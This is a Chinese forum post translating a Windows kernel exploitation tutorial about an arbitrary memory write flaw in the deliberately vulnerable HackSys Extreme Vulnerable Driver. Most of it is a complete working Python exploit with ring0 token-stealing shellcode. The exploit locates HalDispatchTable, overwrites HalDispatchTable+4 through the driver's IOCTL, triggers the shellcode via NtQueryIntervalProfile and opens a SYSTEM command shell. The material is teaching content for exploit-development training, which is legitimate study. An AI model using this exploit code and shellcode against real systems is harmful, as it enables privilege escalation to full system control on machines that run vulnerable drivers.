首页
论坛
课程
招聘
[翻译]Windows内核漏洞利用教程3:任意内存写入
2018-1-18 16:24 8575

[翻译]Windows内核漏洞利用教程3:任意内存写入

2018-1-18 16:24
8575

原文地址:https://rootkits.xyz/blog/2017/09/kernel-write-what-where/

已经翻译:

Windows内核漏洞利用教程3:任意内存写入


引言


上一篇文章中,我们了解了一个基本的内核缓冲区溢出漏洞的利用。

在这篇文章中,我们将关注另一个类型的漏洞,任意内存写入,也就是Write-What-Where漏洞。这种类型漏洞利用的基本思路是:将我们的shellcode指针写入内核分发表(Kernel Dispatch Table)中。

再一次感谢hacksystem提供的驱动模块和FuzzySec提供的分析报告。

分析


让我们通过ArbitraryOverwrite.c文件的源码来分析这个漏洞:
#ifdef SECURE
//安全的代码:在执行写操作之前,对指向where和what的两个指针,利用ProbeForRead()函数判断是否属于用户态。
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");
//不安全的代码:这是一个常见的任意内存写入漏洞,
//代码对要写入的内容(What)的内存地址和写入的地址的指针(Where)没有检查是否属于用户态。
        *(Where) = *(What);

(译者注:ProbeForRead()函数如果检测打到所指定的地址不在用户态的内存范围,将会扔出一个异常STATUS_DATATYPE_MISALIGNMENT,看ArbitraryOverwrite.c源码可以知道在此处存在异常处理。)


这是对漏洞和相应修复很好的展示。不安全的代码缺少对两个指针(What和Where)没有判断其属于用户空间还是内核空间。而安全的代码,使用ProbeForRead函数对这两个指针是否属于用户空间进行了判断。

现在我们对这个漏洞产生原因有了一定的理解,我们现在需要出发这个漏洞的IOCTL编号。在上一篇文章中,我们通过分析IrpDeviceCtlHandle的调用找到了IOCTL编号。这一次我们通过HackSysExtremeVulnerableDriver.h文件查看所有的IOCTL编号。
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

通过CTL_CODE宏创建了不同的系统IOCTL,并且通过这个宏,我们可以用下面的Python代码计算相应的IOCTL编号值。
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)

这一次,我们要用到的IOCTL值是0x22200b.

接下来,使用IDA分析TriggerArbitraryOverwrite函数。


可以发现,这里有8个字节,前四个是写入内容的指针(What),后四个是写入地址的指针(Where)

漏洞利用


让我们进入好玩的部分。我们使用上一篇文章中的脚本框架,修改IOCTL,观察是否可以正常运行。
import ctypes, sys, struct
from ctypes import *
from subprocess import *
 
def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)
 
    buf = "A"*100
    bufLength = len(buf)
 
    kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()), None)
 
if __name__ == "__main__":
    main()


正常运行。现在我们开始构建我们的漏洞利用。

第一步是找到一些在内核空间中可以被覆盖的安全可靠地地址,不会导致系统崩溃。很幸运,在内核中,有一个很少被调用到的函数NtQueryIntervalProfile,它调用了另一个函数KeQueryIntervalProfile,而这个函数又调用了HalDispatchTable+4。

这里可能稍微有点复杂,但是poppopret的blog的这个问题有比较好的解释,总的执行流程如下:

1.在用户空间,加载内核可执行文件ntkrnlpa.exe,得到HalDispatchTable的偏移,然后据此推断出它在内核中的地址;
2.获取shellcode的地址;
3.利用ntdll.dll获取系统调用NtQueryIntervalProfile的地址
4.利用shellcode的地址覆盖HalDispatchTable+4的指针
5.通过调用NtQueryIntervalProfile去加载我们的shellcode

通过反汇编NtQueryIntervalProfile函数分析指向HalDispatchTable+4的执行流程。

接下来进入KeQueryIntervalProfile函数

这就是我们要覆盖的指针,让它指向我们的shellcode。总的来说,如果我们覆盖了这个地址,如果我们覆盖了这个地址,并且调用了NtQueryIntervalProfile函数,执行流程就会跳转到我们的shellcode。

很简单,我们来一步步构造我们的漏洞利用代码

首先,我们需要枚举所有的设备驱动地址,这里可以使用EnumDeviceDrivers函数。
然后,使用GetDeviceDriverBaseNameA函数获取驱动的名称。
之后找到名为ntkrnlpa.exe驱动的地址。

#Enumerating load addresses for all device drivers
enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
    print "Failed to enumerate!!!"
    sys.exit(-1)
for base_address in enum_base:
    if not base_address:
        continue
    base_name = c_char_p('\x00' * 1024)
    driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
    if not driver_base_name:
        print "Unable to get driver base name!!!"
        sys.exit(-1)
    if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
        base_name = base_name.value
        print "[+] Loaded Kernel: {0}".format(base_name)
        print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
        break

现在,我们有了ntkrnlpa.exe驱动名称,和所对应的地址。接下来计算HalDispatchTable。我们需要使用LoadLibraryExA函数加载ntkrnlpa.exe到内存,然后使用GetProcAddress函数获得HalDispatchTable的地址。
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
    print "Unable to get Kernel Handle"
    sys.exit(-1)
 
hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
 
# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle
 
# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space
hal_address += base_address
 
# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4
 
print "[+] HalDispatchTable    : {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))

最后,确定What-Where
What->shellcode的地址
Where->HalDispatchTable+0x4
class WriteWhatWhere(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]
 
#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)
 
print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))

整合上面的所有代码,使用上一篇文章中获取token的方法,最终的利用代码如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
 
class WriteWhatWhere(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]
 
def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
 
    #Defining the ring0 shellcode and loading it in VirtualAlloc.
    shellcode = bytearray(
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x31\xc0"                      # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                  # mov eax,[eax+0x50]
        "\x89\xc1"                      # mov ecx,eax
        "\xba\x04\x00\x00\x00"          # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"      # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"          # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"      # cmp [eax+0xb4],edx
        "\x75\xed"                      # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"      # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"      # mov [ecx+0xf8],edx
        "\x61"                          # popad
        "\x31\xc0"                      # xor eax,eax
        "\x83\xc4\x24"                  # add esp,byte +0x24
        "\x5d"                          # pop ebp
        "\xc2\x08\x00"                  # ret 0x8
    )
    ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
    buff = (c_char * len(shellcode)).from_buffer(shellcode)
    kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
    shellcode_address = id(shellcode) + 20
    shellcode_final = struct.pack("<L",ptr)
    shellcode_final_address = id(shellcode_final) + 20
 
    print "[+] Address of ring0 shellcode: {0}".format(hex(shellcode_address))
    print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_final_address))
 
    #Enumerating load addresses for all device drivers, and fetching base address and name for ntkrnlpa.exe
    enum_base = (c_ulong * 1024)()
    enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
    if not enum:
        print "Failed to enumerate!!!"
        sys.exit(-1)
			
    for base_address in enum_base:
        if not base_address:
            continue
        base_name = c_char_p('\x00' * 1024)
        driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
        if not driver_base_name:
            print "Unable to get driver base name!!!"
            sys.exit(-1)
 
        if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
            base_name = base_name.value
            print "[+] Loaded Kernel: {0}".format(base_name)
            print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
            break
 
    #Getting the HalDispatchTable
    kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
    if not kernel_handle:
        print "Unable to get Kernel Handle"
        sys.exit(-1)
 
    hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
 
    # Subtracting ntkrnlpa base in user space
    hal_address -= kernel_handle
 
    # To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space
    hal_address += base_address
    
    # Just add 0x4 to HAL address for HalDispatchTable+0x4
    hal4 = hal_address + 0x4
 
    print "[+] HalDispatchTable    : {0}".format(hex(hal_address))
    print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))
 
    #What-Where
    www = WriteWhatWhere()
    www.What = shellcode_final_address
    www.Where = hal4
    www_pointer = pointer(www)
 
    print "[+] What : {0}".format(hex(www.What))
    print "[+] Where: {0}".format(hex(www.Where))
 
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)
 
    kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong()), None)
 
    #Calling the NtQueryIntervalProfile function, executing our shellcode
    ntdll.NtQueryIntervalProfile(0x1337, byref(c_ulong()))
    print "[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)
 
if __name__ == "__main__":
    main()

译者注:注意观察shellcode的popad之后的堆栈平衡和上一片文章中的不太一样,主要是两者的堆栈状态不同,此处是在调用nt!HalDispatchTable+0x4之后直接返回到nt!NtQueryIntervalProfile+0x70位置,也就是调用nt!KeQueryIntervalProfile结束。也可以不出栈这么多,返回到 nt!HalDispatchTable+0x4调用结束即可,那么只需一个xor eax,eax /  ret 0x10即可。


运行这个我们得到了authority\system权限的shell:



恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 1139
活跃值: 活跃值 (1694)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
灵幻空间 活跃值 2020-2-9 15:43
2
0
围观
游客
登录 | 注册 方可回帖
返回